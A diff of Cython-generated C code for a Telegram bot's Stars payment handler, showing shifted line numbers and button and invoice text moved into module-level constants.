__Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6162,12 +6175,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 140, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 142, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 140, __pyx_L1_error) + else __PYX_ERR(0, 142, __pyx_L1_error) } } @@ -6177,7 +6190,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro } - __pyx_t_5 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_5 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_5; @@ -6190,7 +6203,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_XGOTREF(__pyx_t_8); /*try:*/ { - __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L6_error) + __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 151, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_amount = __pyx_t_5; @@ -6209,25 +6222,25 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_9 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_9) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 150, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 152, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 151, __pyx_L8_except_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 153, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_11 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 152, __pyx_L8_except_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 154, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 152, __pyx_L8_except_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 154, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_12); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_target_message, __pyx_t_12) < 0) __PYX_ERR(0, 152, __pyx_L8_except_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_target_message, __pyx_t_12) < 0) __PYX_ERR(0, 154, __pyx_L8_except_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__14) < 0) __PYX_ERR(0, 152, __pyx_L8_except_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__11) < 0) __PYX_ERR(0, 154, __pyx_L8_except_error) - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 152, __pyx_L8_except_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 154, __pyx_L8_except_error) - __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 151, __pyx_L8_except_error) + __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 153, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -6272,12 +6285,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_8 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_8); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 151, __pyx_L8_except_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 153, __pyx_L8_except_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 151, __pyx_L8_except_error) + else __PYX_ERR(0, 153, __pyx_L8_except_error) } } @@ -6305,12 +6318,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_L11_try_end:; } - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 158, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 158, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6325,20 +6338,20 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 158, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 160, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 158, __pyx_L1_error) + else __PYX_ERR(0, 160, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 159, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -6360,7 +6373,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_13, 1+__pyx_t_13); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 159, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6375,12 +6388,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 159, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 159, __pyx_L1_error) + else __PYX_ERR(0, 161, __pyx_L1_error) } } @@ -6391,9 +6404,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __Pyx_XGOTREF(__pyx_t_6); /*try:*/ { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_delete); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 162, __pyx_L17_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_delete); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 164, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -6414,7 +6427,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_13, 0+__pyx_t_13); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 162, __pyx_L17_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -6444,16 +6457,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_8); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L17_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 164, __pyx_L17_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 162, __pyx_L17_error) + else __PYX_ERR(0, 164, __pyx_L17_error) } } - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 164, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 166, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = NULL; __pyx_t_13 = 0; @@ -6473,7 +6486,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_13, 0+__pyx_t_13); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L17_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -6481,16 +6494,19 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_cur_scope->__pyx_v_builder = __pyx_t_5; __pyx_t_5 = 0; - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 165, __pyx_L17_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 167, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 166, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 166, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_n_u__15) < 0) __PYX_ERR(0, 166, __pyx_L17_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 166, __pyx_L17_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 166, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAY); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 168, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 168, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_pay, Py_True) < 0) __PYX_ERR(0, 168, __pyx_L17_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 168, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6513,22 +6529,25 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_13, 1+__pyx_t_13); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L17_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 168, __pyx_L17_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 170, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 169, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 171, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 169, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 169, __pyx_L17_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 169, __pyx_L17_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 169, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_BACK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 171, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_back_to_pay_stars_after_invoice) < 0) __PYX_ERR(0, 171, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6551,144 +6570,120 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_13, 1+__pyx_t_13); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 168, __pyx_L17_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 170, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 172, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 172, __pyx_L17_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_answer_invoice); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 174, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 173, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 173, __pyx_L17_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = 0; - __pyx_t_14 = 127; - __Pyx_INCREF(__pyx_kp_u__16); - __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; - __pyx_t_3 += 25; - __Pyx_GIVEREF(__pyx_kp_u__16); - PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__16); - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_1) : __pyx_t_14; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); - __pyx_t_1 = 0; - __Pyx_INCREF(__pyx_kp_u__17); - __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; - __pyx_t_3 += 8; - __Pyx_GIVEREF(__pyx_kp_u__17); - PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__17); - __pyx_t_1 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L17_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_title, __pyx_t_1) < 0) __PYX_ERR(0, 173, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - - __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = 0; - __pyx_t_14 = 127; - __Pyx_INCREF(__pyx_kp_u__16); - __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; - __pyx_t_3 += 25; - __Pyx_GIVEREF(__pyx_kp_u__16); - PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__16); - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L17_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_14; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); - __Pyx_GIVEREF(__pyx_t_2); - PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); - __pyx_t_2 = 0; - __Pyx_INCREF(__pyx_kp_u__17); - __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; - __pyx_t_3 += 8; - __Pyx_GIVEREF(__pyx_kp_u__17); - PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__17); - __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_2); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_description, __pyx_t_2) < 0) __PYX_ERR(0, 173, __pyx_L17_error) - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_LabeledPrice); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_label, __pyx_n_u_XTR) < 0) __PYX_ERR(0, 175, __pyx_L17_error) - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_RUB_TO_XTR); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 175, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 175, __pyx_L17_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 175, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_10 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_11); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 175, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + 